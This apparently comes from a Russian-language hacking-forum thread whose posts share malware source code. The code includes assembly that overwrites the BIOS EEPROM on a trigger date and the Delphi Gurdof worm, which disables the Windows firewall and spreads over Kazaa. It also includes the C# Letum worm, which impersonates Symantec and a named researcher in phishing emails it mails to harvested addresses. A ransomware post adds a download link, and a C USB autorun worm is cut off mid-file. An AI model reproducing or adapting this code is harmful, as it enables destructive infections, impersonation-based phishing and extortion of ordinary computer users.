;----------------------------------------------------------------------------
; Перед записью вируса в файл, надо восстановить все эти места кода
;----------------------------------------------------------------------------
 
						lea	 eax, (LastVxDCallAddress-2-@9)[esi]
 
						mov	 cl, VxDCallTableSize
 
LoopOfRestoreVxDCallID:
						mov	 word ptr [eax], 20cdh
 
						mov	 edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
						mov	 [eax+2], edx
 
						movzx   edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
						sub	 eax, edx
 
						loop	LoopOfRestoreVxDCallID
 
;--------------------------
; Записать код вируса в файл
;--------------------------
 
WriteVirusCodeToFile:
						mov	 eax, dr1
						mov	 ebx, [eax+10h]
						mov	 edi, [eax]
 
LoopOfWriteVirusCodeToFile:
 
						pop	 ecx
						jecxz   SetFileModificationMark
 
						mov	 esi, ecx
						mov	 eax, 0d601h
						pop	 edx
						pop	 ecx
 
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
						jmp	 LoopOfWriteVirusCodeToFile
 
;----------------------------------------------------------------------------
; Задать CF = 1 ==> надо для восстановления времени модификации файла
;----------------------------------------------------------------------------
 
SetFileModificationMark:
						pop	 ebx
						pop	 eax
 
						stc			; Установить CF (Флаг переноса)
						pushf
 
;------------------------------------
; Закрыть файл
;------------------------------------
 
CloseFile:
						xor	 eax, eax
						mov	 ah, 0d7h
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
;------------------------------------
; Hадо ли восстанавливать время модификации файла?!
;------------------------------------
 
						popf
						pop	 esi
						jnc	 IsKillComputer
 
;------------------------------------
; Восстановить время модификации файла
;------------------------------------
 
						mov	 ebx, edi
 
						mov	 ax, 4303h
						mov	 ecx, (FileModificationTime-@7)[esi]
						mov	 edi, (FileModificationTime+2-@7)[esi]
						call	ebx	; VXDCall IFSMgr_Ring0_FileIO
 
;------------------------------------
; Выключить флаг занятости
;------------------------------------
 
DisableOnBusy:
						dec	 byte ptr (OnBusy-@7)[esi]	  ; Выключить
 
;------------------------------------
; Вызвать предыдущий обработчик файлоывого API ... (FileSystemApiHook)
;------------------------------------
 
prevhook:
						popad
 
						mov	 eax, dr0	   ;
						jmp	 [eax]		  ; Перейти на предыдущий
											   ; обработчик
 
;----------------------------------------------------------------------------
; Вызвать функцию, которую IFS менеджер обычно вызывает для выполнения
; обычного запроса ввода-вывода.
;----------------------------------------------------------------------------
 
pIFSFunc:
						mov	 ebx, esp
						push	dword ptr [ebx+20h+04h+14h]	; Запрос
						call	[ebx+20h+04h]				  ; Вызвать pIFSFunc
						pop	 ecx							;
 
						mov	 [ebx+1ch], eax ; Исправить значение EAX
											   ; сохраненное в стеке
 
;----------------------------------------------------------------------------
; После вызова pIFSFunc, получить данные возвращенные на запрос
;----------------------------------------------------------------------------
 
						cmp	 dword ptr [ebx+20h+04h+04h], 00000024h
						jne	 QuitMyVirusFileSystemHook
 
;----------------------------------------------------------------------------
; Получить время и дату модификации в DOS форматы
;----------------------------------------------------------------------------
 
						mov	 eax, [ecx+28h]
						mov	 (FileModificationTime-@6)[esi], eax
 
;----------------------------------------------------------------------------
; Выйти из обработчика (IFSMgr_FileSystemHook)
;----------------------------------------------------------------------------
 
QuitMyVirusFileSystemHook:
 
						popad
 
						ret
 
;------------------------------------
; Разье$ать компьютер!? ...   *^_^*
;------------------------------------
 
IsKillComputer:
					   ; Получить сегодняшнее число из BIOS CMOS
						mov	 al, 07h
						out	 70h, al
						in	  al, 71h
 
						xor	 al, 26h; ??/26/????
 
IF	  DEBUG
						jmp	 DisableOnBusy
ELSE
						jnz	 DisableOnBusy
ENDIF
 
;		   (непереводимо :)
;------------------------------------*
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
;------------------------------------*
 
;--------------------------
; Прибить BIOS EEPROM
;--------------------------
 
						mov	 bp, 0cf8h
						lea	 esi, IOForEEPROM-@7[esi]
 
;----------------------
; Прочитать страницу BIOS
;   000E0000 - 000EFFFF
;	 (   64 KB   )
;----------------------
 
						mov	 edi, 8000384ch
						mov	 dx, 0cfeh
						cli
						call	esi
 
;----------------------
; Прочитать страницу BIOS
;   000F0000 - 000FFFFF
;	 (   64 KB   )
;----------------------
 
						mov	 di, 0058h
						dec	 edx									; and al,0fh
						mov	 word ptr (BooleanCalculateCode-@10)[esi], 0f24h
						call	esi
 
;----------------------
; Прочитать дополнительные данные BIOS
; 000E0000 - 000E01FF
;   (   512 Bytes   )
; и секция дополнительного BIOS (Extra BIOS)
; может быть записана...
;----------------------
 
						lea	 ebx, EnableEEPROMToWrite-@10[esi]
 
						mov	 eax, 0e5555h
						mov	 ecx, 0e2aaah
						call	ebx
						mov	 byte ptr [eax], 60h
 
						push	ecx
						loop	$
 
;----------------------
; Прибить дополнительные данные BIOS (BIOS Extra ROM Data)
; 000E0000 - 000E007F
;   (   80h Bytes   )
;----------------------
 
						xor	 ah, ah
						mov	 [eax], al
 
						xchg	ecx, eax
						loop	$
 
;----------------------
; Показать и включить основные данные BIOS {BIOS Main ROM Data}
; 000E0000 - 000FFFFF, (128 KB), может быть записана...
;----------------------
 
						mov	 eax, 0f5555h
						pop	 ecx
						mov	 ch, 0aah
						call	ebx
						mov	 byte ptr [eax], 20h
 
						loop	$<

Ссылки из под хайдов не выдаю!


#2
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Исходник вируса Kazaa Worm - написан на Delphi
program gurdof;

//{$APPTYPE CONSOLE}

{ ///////////////////////////////////////////////////////////////////////
						   Win32.Gurdof by Hutley/RRLF
 This is my first virus in RRLF (Ready Rangers Liberation Front) Team.
////////////////////////////////////////////////////////////////////////

  What Win32.Gurdof doing:
		+ Fuck the WinXP Firewall
		+ Simple Function that Decode the Strings
		+ Disable Notifications of Security Center
		+ Infect Kazaa Program
		+ Payload: Sort Randomly a Number Until 20, if the number be < 14
					then show messages and hide the mouse icon.

  Comment: IS VERY SIMPLE I KNOW. I TERMINETED IT BECAUSE I GO
			 START THE STUDY OF ASSEMBLY LANGUAGE.
		   WAIT, COMMING SOON NEWS VIRUSES IN ASM32.

		   Hutley / rRlf - The Psychodelic Virus Writer
		   24 - Feb - 2006 -*- BRAZIL!
}

uses
 Windows, Registry, SysUtils, Dialogs;

const
 vir_name: string = 'Win32.Gurdof';
 made_by: string = 'Hutley of rRlf VX Team';
 
var
 ExeName: array[0..260] of Char;
 start_: TRegistry;
 
function code_(text: string; chave: integer): string;
var lp1, p: integer;
 fuck: string;
begin
 lp1 := strlen(pchar(text));
 for p := 1 to lp1 do begin
  fuck := fuck + chr(ord(text[p]) xor chave)
 end;
 code_ := fuck
end;

function WinDir: string;
begin
 SetLength(Result, MAX_PATH);
 Windows.GetWindowsDirectory(PChar(Result), MAX_PATH);
 Result := string(PChar(Result)) + '\';
end;

function SysDir: string;
begin
 SetLength(Result, MAX_PATH);
 if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then
  Result := string(PChar(Result)) + '\'
 else
  Result := '';
end;

procedure fuck_xp_firewall;
var ffw: TRegistry;
begin
 ffw := TRegistry.Create;
 ffw.RootKey := HKEY_LOCAL_MACHINE;
 // Part 1
 ffw.OpenKey(code_('Q[QVGO^AwppglvAmlvpmnQgv^Qgptkagq^QjcpgfCaagqq^Rcpcogvgpq^DkpgucnnRmnka{^FmocklRpmdkng', 2), FALSE);
 ffw.WriteFloat(code_('GjpbaofMlwjej`bwjlmp', 3), 1);
 ffw.WriteFloat(code_('AjefhaBmvasehh', 4), 0);
 ffw.WriteFloat(code_('@kJkpEhhksA|gatpmkjw', 5), 0);
 ffw.CloseKey;
 // Part 2
 ffw.OpenKey(code_('U_URCKZEsttchrEihrtijUcrZUctpoecuZUngtcbGeecuuZVgtgkcrctuZ@otcqgjjVijoeZUrghbgtbVti`ojc', 6), false);
 ffw.WriteFloat(code_('La{ijdmFg|anaki|agf{', 8), 1);
 ffw.WriteFloat(code_('OdkhfoLcxo}kff', 10), 0);
 ffw.WriteFloat(code_('OdEdJggd|Nshn{bdex', 11), 0);
 ffw.CloseKey;
 // Part 3
 ffw.OpenKey(code_('Xdm|jynWFbhydxdmWXnh~ybr+Hneny', 11), false);
 ffw.WriteFloat(code_('Kd~c\cxyNcykhfoDe~cls', 10), 1);
 ffw.WriteFloat(code_('O`{l~heeM`zhkelGf}`op', 9), 1);
 ffw.WriteFloat(code_('If|a^az}{G~mzzalm', 8), 1);
 ffw.WriteFloat(code_('AnubpfkkHqbuuncb', 7), 1);
 ffw.CloseKey;
 // End
 ffw.Free;
end;

procedure infect_p2p_kazaa;
var kazaa: TRegistry;
begin
 kazaa := TRegistry.Create;
 kazaa.RootKey := HKEY_CURRENT_USER;
 if kazaa.OpenKey(code_('Ui`rqgtcZMG\GGZJiegjEihrchrZ', 6), false) then
 begin
  kazaa.WriteFloat(code_('Alvdgi`Vmdwlkb', 5), 0);

  kazaa.WriteString(code_('@mv4', 4), WinDir);
  kazaa.WriteString(code_('@mv5', 4), WinDir + code_('Pkbqf', 3));

  GetModuleFileNameA(0, ExeName, SizeOf(ExeName));

  CreateDir(WinDir + code_('Jqxk|E', 25));

  CopyFile(ExeName, PChar(WinDir + code_('G|ufqHg}g`qfKraw}zsK}zKvx{zpq:~ds:qlq', 20)), True);
  CopyFile(ExeName, PChar(WinDir + code_('F}tgpIwtwlJf|apgJ|{Jwpq;er;pmp', 21)), True);
  CopyFile(ExeName, PChar(WinDir + code_('DverKgrsxHp~e{?&"nx>Hqbt|~yp9}gp9ror', 23)), True);
  CopyFile(ExeName, PChar(WinDir + code_('Kpyj}DuaG{wmkqvGqvG~yuqtaG`@`6rh6}`}', 24)), True);
  CopyFile(ExeName, PChar(WinDir + code_('Ir{hFvixs{tiE|oyqE|oyqE|oyqE|oyq4pj}4b', 26)), True);
 end;
 kazaa.Free;
end;

function show_cursor(const Show: boolean): boolean;
var
 I: integer;
begin
 I := ShowCursor(LongBool(true));
 if Show then begin
  Result := I >= 0;
  while I < 0 do begin
   Result := ShowCursor(LongBool(true)) >= 0;
   Inc(I);
  end;
 end else begin
  Result := I < 0;
  while I >= 0 do begin
   Result := ShowCursor(LongBool(false)) < 0;
   Dec(I);
  end;
 end;
end;

procedure my_payload;
var i: integer;
begin
 Randomize;
 if Random(50) <= 14 then
 begin
  for i := 1 to 10 do
  begin
   ShowMessagePos(code_('===<[INXSZ<sKrF<eSi<===', 28)
	+ #13#13 + code_('=============Uhiqxd=2=OOQ[', 29), Random(800), Random(600));
   show_cursor(false);
  end;
 end;
end;

begin
 // Install In Registry - Auto Start
 start_ := TRegistry.Create;
 start_.RootKey := HKEY_LOCAL_MACHINE;
 start_.OpenKey(code_(']ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}ga`R\{`', 14), true);
 start_.WriteString('Gurdof', code_('D[I[[[ MPM', 40));
 start_.Free;
 // Module of Current .Exe
 GetModuleFileNameA(0, ExeName, SizeOf(ExeName));
 // System Dir - 2 Copies of Virus
 CopyFile(ExeName, PChar(SysDir + code_('D[I[[[ MPM', 40)), true);
 CopyFile(ExeName, PChar(SysDir + code_('IEGKDN ORO', 42)), true);
 // Win Dir - 2 Copies of Virus
 CopyFile(ExeName, PChar(WinDir + code_('[EBHC[_ ITI', 44)), true);
 CopyFile(ExeName, PChar(WinDir + code_(']W]ZKC', 46)), true);
 // Desable the WinXP Firewall and Security Center
 fuck_xp_firewall;
 // Spread by Kazaa
 infect_p2p_kazaa;
 // A Simple Payload
 my_payload;
end.

-------------------------------------------------------------

Тип: Червь
Язык: C#
Расспространяется через: Email
Автор: Retro
using System;
using System.Collections;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;

namespace Letum22
{
	public class Letum
	{
		static Module self;
		static string pferrie = "peter_ferrie@symantec.com";
		static string[] nSubject = new string[7] { "Warning!", "Virus Alert", "Customer Support", "Re:", "Re:Warning", "Letum", "Virus Report" };
		static string[] nData = new string[3] {"Dear Users\r\n\r\nDue to the high increase of the Letum worm, 
we have upgraded it to Category B. Please use our attached removal tool to 
scan and disinfect your computer from the malware.\r\n\r\n Regards\r\n Security Response",
"Hiya,\r\n\r\n I've found this tool a couple of weeks ago, and after using it i was surprised 
on how good it was on squashing viruses. I wonder if avers know about this? ;)",
 ">>\r\n Maybe not but try this, i'm sure it will help you in your fight against malware. 
The engine it uses isnt to bad, but the searching speed is very fast for such a small size "};

		static ArrayList List = new ArrayList();

		[STAThread]
		static void Main()
		{
			//Creates and Initializes
			Random rand = new Random();
			Thread nntpThread = new Thread(new ThreadStart(nntp));
			Thread smtpThread = new Thread(new ThreadStart(smtp));

			// Gets all the modules that are part of this assembly
			self = Assembly.GetExecutingAssembly().GetModules()[0];

			// Collect Directories from C: and stores them in List
			CollectDirs(@"C:\", List);

			// Picks a random number between 0 and the number of entries in List
			int num = rand.Next(0, List.Count);

			// create variables and set folder to random directory
			object regData;
			string folder = List[num].ToString();

			// Retrieves the subkey "Software\Retro"
			RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true);

			if (key == null)
			{
				// Sets up the registry, when run for the first time.
				// Creates the subkey and sets the key to the directory its in
				key = Registry.CurrentUser.CreateSubKey(@"Software\Retro");
				key.SetValue("Letum", folder + @"\" + self.ScopeName);

				// and copies itself to the choosen directory
				File.Copy(self.FullyQualifiedName, folder.ToString() + @"\" + self.ScopeName);
			}

			// Read registry for last Host file and delete it
			regData = key.GetValue("Letum");
			File.Delete(regData.ToString());

			// Copy itself to choosen directory
			File.Copy(self.FullyQualifiedName, folder.ToString() + @"\" + self.ScopeName);

			// Writes new key to Software\Retro and Run
			key.SetValue("Letum", folder + @"\" + self.ScopeName);
			key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
			key.SetValue("Letum", folder + @"\" + self.ScopeName);

			// Close key
			key.Close();

			// Start threads
			nntpThread.Start();
			smtpThread.Start();

			num = rand.Next(0, 1983);

			// 1:1983 chance of displaying message
			if (num == rand.Next(0, 1983))
			{
				MessageBox.Show("Dear Peter Ferrie \n\nGeNeTiX is a person not a f**king genetically modified food product. \n
She's not happy you called her that! \n\nRegards", "Name Entry Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
			}
		}

		static void nntp()
		{
			// Creates and Initializes
			TcpClient nntp = new TcpClient();
			ArrayList nGroup = new ArrayList();
			StringBuilder fuuencode = new StringBuilder();
			Random rand = new Random();

			// Set variables
			string s, sReply;
			int cursor = 0;
			object nntpServer = null;


			// Look in registry for an NNTP server
			RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\Accounts");

			// Reads the entries in the key
			string[] lstSubDir = key.GetSubKeyNames();

			// For each one found do the following ...
			foreach (string subKey in lstSubDir)
			{
				// Opens the Subkey
				key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\Accounts\" + subKey);
				string[] d = key.GetValueNames();

				foreach (string a in d)
				{
					if (a == "NNTP Server")
					{
						nntpServer = key.GetValue("NNTP Server");
					}
				}
			}

			if (nntpServer == null)
			{
				nntpServer = "news.microsoft.com";
			}

			// Connect to news server
			try
			{
				nntp.Connect("news.microsoft.com", 119);
			}
			catch
			{
				return;
			}


			NetworkStream nStream = nntp.GetStream();
			StreamReader nReader = new StreamReader(nStream);
			StreamWriter nWriter = new StreamWriter(nStream);


			nWriter.AutoFlush = true;

			//Get the reply from server
			sReply = nReader.ReadLine();
			
			// If connection went ok then continue
			if (sReply.Substring(0, 3) != "200")
			{
				// Get list of newsgroups
				nWriter.WriteLine("LIST");
				s = nReader.ReadLine();
				MessageBox.Show(s);

				while (s != ".")
				{
					s = nReader.ReadLine();

					if (s != ".")
					{
						s = s.Substring(0, s.IndexOf(" "));
						nGroup.Add(s);
					}
				}

				int num = rand.Next(0, nGroup.Count);
				object newsgroup = nGroup[num];

				// Open the choosen newsgroup
				nWriter.WriteLine("GROUP " + newsgroup);

				// Server reply
				sReply = nReader.ToString();

				// If open was ok
				if (sReply.Substring(0, 3) != "211")
				{
					// Carry on with posting a message
					nWriter.WriteLine("POST");
					sReply = nReader.ToString();

					// If posting is ok
					if (sReply.Substring(0, 3) != "340")
					{
						// Pick a random message subject
						num = rand.Next(0, nSubject.Length);
						string Subject = nSubject[num];

						// Pick random message data
						num = rand.Next(0, nData.Length);
						string rsData = nData[num] + "\r\n\r\n";

						// Set itself to read itself
						FileStream inFile = new FileStream(self.ScopeName, FileMode.Open, FileAccess.Read);

						// Set variable
						byte[] bs = new byte[inFile.Length];

						// Read itself
						inFile.Read(bs, 0, (int)inFile.Length);

						//Close
						inFile.Close();

						// Encode byte to ASCII
						string uuencode = Encoding.ASCII.GetString(bs);
						string uustring, sBuffer = uuencode, str = String.Empty;

						if (sBuffer.Length % 3 != 0)
						{
							string trs = new string(' ', 3 - sBuffer.Length % 3);
							sBuffer = String.Concat(sBuffer, trs);
						}

						int j = sBuffer.Length;

						// Encode to uuencode
						for (int i = 1; i <= j; i += 3)
						{
							str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i - 1, 1)) / 4 + 32)));
							str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i - 1, 1)) % 4 * 16 + 
(int)Convert.ToChar(sBuffer.Substring(i, 1)) / 16 + 32)));
							str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i, 1)) % 16 * 4 + 
(int)Convert.ToChar(sBuffer.Substring(i + 1, 1)) / 64 + 32)));
							str = String.Concat(str, Convert.ToString((char)((int)Convert.ToChar(sBuffer.Substring(i + 1, 1)) % 64 + 32)));
						}

						// Replace all the spaces in the string to `
						string udtf = str.Replace(' ', '`');

						// Cut string down to 60 char chunks
						while (cursor < udtf.Length)
						{
							int size = Math.Min(60, udtf.Length - cursor);
							// Add M to each new line
							fuuencode.Append("M");
							// Adds the next 60 chars
							fuuencode.Append(udtf, cursor, size);
							// Adds newline
							fuuencode.Append("\r\n");

							cursor += size;
						}

						uustring = fuuencode.ToString();
						// Removes the last occurrence of M
						uustring = uustring.Remove(uustring.LastIndexOf("M"), 1);

						// Sets up the message to be sent
						string pData = "FROM: " + pferrie + "\r\nNEWSGROUPS: " + newsgroup + "\r\nSUBJECT: " + Subject + 
"\r\n\r\n" + nData + "begin 644 " + self.ScopeName + "\r\n" + uustring + "\r\n'\r\nend\r\n.";

						// Send message
						nWriter.WriteLine(pData);
						sReply = nReader.ReadLine();

						// If it was sent
						if (sReply.Substring(0, 3) != "240")
						{
							nntp.Close();
						}
					}
				}
			}
			nntp.Close();
		}

		static void smtp()
		{
			// Creates and Initializes
			TcpClient smtp = new TcpClient();
			StringBuilder b64String = new StringBuilder();
			Random rand = new Random();

			// Set variables
			object smtpServer = null;
			int smtpCursor = 0;
			string smReply;
			string boundary = "----=_NextPart_81_27_24";
			string htmlMsg = "<html><head></head><body bgcolor=\"white\" text=\"black\" link=\"blue\" vlink=\"purple\" alink=\"red\"><table border=\"0\" width=\"780\" bgcolor=\"white\"><tr><td width=\"154\" 
valign=\"top\" bgcolor=\"white\"><p>  <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=\"154\"><p> <a href=\"http://www.symantec....ymantec.com\">"
						   + "<img src=\"http://www.langtech....c_logoESP.gif\" border=\"0\"></a></p><p> </td></tr><tr><td width=\"154\" 
background=\"http://security.syma...round.gif\"><p> </p><p><font face=\"Verdana\" size=\"1\"><a 
href=\"http://www.symantec....te.html\">Legal Notices</a></font><font face=\"Verdana\" size=\"1\"> <br clear=\"all\"></font><font face=\"Verdana\" size=\"1\"><a 
href=\"http://www.symantec.....html\">Privacy Policy</a></font></p><p> </p><p> </p><p> </td></tr></table><p> </td><td width=\"618\" valign=\"top\" bgcolor=\"white\"><p align=\"left\"><font 
face=\"Verdana\" size=\"2\"><br></font></p><p align=\"left\"> </p><p align=\"left\">  <div align=\"center\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"80%\"><tr><td width=\"616\"><p 
align=\"left\"> </p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Dear User,</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Due to the high increase of the Letum worm, we have upgraded it to 
Category B. Please use our attached removal tool to scan and disinfect your computer from the malware.</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">If you have any comments or questions about this, 
then please contact us.</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Regards</font></p><p align=\"left\"><font face=\"Verdana\" size=\"2\">Peter Ferrie<br clear=\"all\"></font><font 
face=\"Verdana\" size=\"1\">Senior Anti-Virus Researcher / Senior Principal Software Engineer </font></td></tr></table></div>"
						   + "<p align=\"left\"></p><p align=\"left\"><div align=\"center\"><table border=\"0\" cellspacing=\"1\" width=\"100%\"><tr><td width=\"100%\" bgcolor=\"white\"><p align=\"center\"><font 
face=\"Verdana\" size=\"1\"><B>©1995 - 2006 Symantec Corporation All rights reserved.</font></td></B></tr></table></div></td></tr></table><p></p></body></html>";

			// Look in registry for an SMTP server
			RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager");

			// Reads the entries in the key
			string[] smtpDirs = key.GetSubKeyNames();

			// For each one found do the following ...
			foreach (string smtpKey in smtpDirs)
			{
				// Opens the Subkey
				RegistryKey smtpSubKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Internet Account Manager\" + smtpKey, true);
				// Read the Value for 'NNTP Server'
				object Server = smtpSubKey.GetValue("SMTP Server");

				// If the key isnt there
				if (Server == null)
				{
					// Hard code our own
					// !SMTP Server Relay Allowed!
					smtpServer = "mail.primaryhost.org.uk";
					// Continue looking just in case
					continue;
				}
				else
				{
					// If key is found then store
					smtpServer = smtpSubKey.GetValue("SMTP Server");
				}
			}

			// Find the path of the new file
			key = Registry.CurrentUser.OpenSubKey(@"Software\Retro", true);
			object HostPath = key.GetValue("Letum");

			// Open file
			FileStream FileToB64 = new FileStream(HostPath.ToString(), FileMode.Open, FileAccess.Read);
			byte[] bArray = new byte[FileToB64.Length];
			// Read file
			int rBytes = FileToB64.Read(bArray, 0, (int)FileToB64.Length);
			// and then close it
			FileToB64.Close();

			// Convert to Base64
			string b64encoded = Convert.ToBase64String(bArray);

			// Insert \r\n after every 76 chars
			while (smtpCursor < b64encoded.Length)
			{
				int Size = Math.Min(76, b64encoded.Length - smtpCursor);
				b64String.Append(b64encoded, smtpCursor, Size);
				b64String.Append("\r\n");
				smtpCursor += Size;
			}

			// Connect to server
			smtp.Connect((string)smtpServer, 25);
			
			// Creates and Initializes
			NetworkStream smtpStream = smtp.GetStream();
			StreamReader smtpReader = new StreamReader(smtp.GetStream());
			StreamWriter smtpWriter = new StreamWriter(smtpStream);

			smtpWriter.AutoFlush = true;

			// Get the reply from server
			smReply = smtpReader.ToString();

			if (smReply.Substring(0, 3) != "220")
			{
				smtpWriter.WriteLine("HELO localhost\r\n");
				smReply = smtpReader.ToString();

				if (smReply.Substring(0, 3) != "250")
				{
					try
					{
						foreach (string cDirs in List)
						{
							string[] htmlFiles = Directory.GetFiles(cDirs, "*html");

							foreach (string htmlFile in htmlFiles)
							{
								Regex hRegex = new Regex("[a-zA-Z0-9-_.-]+@[a-zA-Z0-9-_.-]+\\.[a-zA-Z0-9]+");

								FileStream inFile = new FileStream(htmlFile, FileMode.Open, FileAccess.Read);

								// Read html file
								byte[] source = new byte[inFile.Length];
								inFile.Read(source, 0, (int)inFile.Length);
								inFile.Close();

								// string htmlsource = Encoding.ASCII.GetString(source);

								foreach (Match strMatch in hRegex.Matches(Encoding.ASCII.GetString(source)))
								{
									// Message From
									smtpWriter.WriteLine("MAIL FROM: " + pferrie);
									smReply = smtpReader.ToString();

									if (smReply.Substring(0, 3) != "250")
									{
										// Message too
										smtpWriter.WriteLine("RCPT TO: " + strMatch);
										smReply = smtpReader.ToString();

										if (smReply.Substring(0, 3) != "250")
										{
											// Message input is ready
											smtpWriter.WriteLine("DATA");
											smReply = smtpReader.ToString();

											if (smReply.Substring(0, 3) != "354")
											{
												// Write the contents
												string mime = "FROM: Symantec Security Response <" + pferrie + ">\r\n"
															+ "TO: <" + strMatch + "> " + strMatch
															+ "SUBJECT: " + nSubject[rand.Next(0, nSubject.Length)] + "\r\n"
															+ "MIME-Version: 1.0\r\n"
															+ "Content-Type: multipart/mixed;\r\n\t"
															+ "boundary=\"" + boundary + "\""
															+ "X-Priority: 3\r\n"
															+ "X-MSMail-Priority: Normal\r\n"
															+ "X-Mailer: Microsoft Outlook Express 6.00.2900.2180\r\n"
															+ "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180\r\n\r\n"
															+ "This is a multi-part message in MIME format.\r\n"
															+ "--" + boundary + "\r\n"
															+ "Content-Type: text/html;\r\n\t"
															+ "charset\"iso-8859-1\"\r\n"
															+ "Content-Transfer-Encoding: 7bit\r\n\r\n"
															+ htmlMsg + "\r\n--" + boundary + "\r\n"
															+ "Content-Type: application/octet-stream;\r\n\t"
															+ "name=\"test.exe\"\r\n"
															+ "Content-Transfer-Encoding: base64\r\n"
															+ "Content-Disposition: attachment;\r\n\t"
															+ "filename=\"test.exe\"\r\n\r\n" + b64String + "\r\n\r\n"
															+ "--" + boundary + "--\r\n.\r\n";

												smtpWriter.WriteLine(mime);
												smReply = smtpReader.ToString();

												if (smReply.Substring(0, 3) != "250")
												{
													// If email was sent ok then continue
													continue;
												}
												else
												{
													int l = 0;

													// Retry, up to five times
													if (l < 5)
													{
														smtp.Close();
														Letum.smtp();
														l++;
													}
												}
											}
										}
									}
								}
							}
						}
					}

					catch (System.UnauthorizedAccessException) { }
				}
			}

			// Close connection with server
			smtp.Close();
		}

		static void CollectDirs(string dir, ArrayList storage)
		{
			try
			{
				string[] dirs = Directory.GetDirectories(dir);
				foreach (string d in dirs)
				{
					storage.Add(d);
					CollectDirs(d, storage);
				}
			}
			catch (System.UnauthorizedAccessException) { }
		}
	}
}

Ссылки из под хайдов не выдаю!


#3
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Исходник Вируса-Шантажиста (Delphi)
В комплекте идёт также исходник дешифратора, принцип его работы:
1) Ищет установленную вирусом DLL, если нету, значит вирус тут не был. По ней и ориентируется, начать работу или выйти.
2) Ищет файлы *.vscrypt на компьютере, и по аналогии копирует их в memo, и делает дешифрацию с тем-же ключём.
3) Если всё успешно, выводит сообщение. ъ

А теперь минусы программы:
1) Ключ шифровки, как ни крути находится в программе.
Решение:
От этого можно избавиться очень легко, но потребуется коннект к инету.
Можно генерировать ключ при запуске программы, и отсылать его гейту, читать ответ сервера, и если передача успешная, то по нему шифровать все файлы, и в итоге ключик будет только у нас. Я могу эту фишку дописать если только понадобится.
2) Программа работает не на чистом WinAPI, а на обычных компонентах Delphi.
]]>http://ifolder.ru/7088410]]>

Ссылки из под хайдов не выдаю!


#4
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
USB-вирус
#include <windows.h>
#include <stdio.h>
#define IMSG "|__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|"
char me[1024];
HKEY hKey;
char *drives[] = {"C:","D:","E","F:","G:","H:","I:","J:","K:","L:",
				 "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
				 "W:","X:","Y:","Z:"};
DWORD WINAPI spreadUSB()
{
   while(1)
   {
	   Sleep(120000);
	   int i;
	   for(i = 0;i < 24;i++)
	   {
		   if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
		   {
			   char hldPath[50];
			   char usbFile[30] = "\\Driver_Update.exe";
			   char autoRun[50] = "[autorun]\r\nopen=Driver_Update.exe";
			   strcpy(hldPath,drives[i]);
			   strcat(hldPath,"\\autorun.inf");
			   FILE *fp = fopen("autorun.inf","w");
			   fprintf(fp,autoRun);
			   fclose(fp);
			   CopyFile("autorun.inf",hldPath,0);
			   remove("autorun.inf");
			   strcat(drives[i],usbFile);
			   CopyFile(me,drives[i],0);
		   }
		   else if((GetDriveType(drives[i])) == DRIVE_CDROM)
		   {
			   char cdPath[50];
			   char cdFile[20] = "\\Worm_Pwn.exe";
			   char cdAutr[50] = "[autorun]\r\nopen=Worm_Pwn.exe";
			   strcpy(cdPath,drives[i]);
			   strcat(cdPath,"\\autorun.inf");
			   FILE *fpp = fopen("autorun.inf","w");
			   fprintf(fpp,cdAutr);
			   fclose(fpp);
			   CopyFile("autorun.inf",cdPath,1);
			   remove("autorun.inf");
			   strcat(drives[i],cdFile);
			   CopyFile(me,drives[i],0);
		   }
		   else if((GetDriveType(drives[i])) == DRIVE_REMOTE)
		   {
			   char remName[20] = "\\Upd_Config.exe";
			   strcat(drives[i],remName);
			   CopyFile(me,drives[i],0);
		   }
	   }
   }
}
BOOL Startup()
{
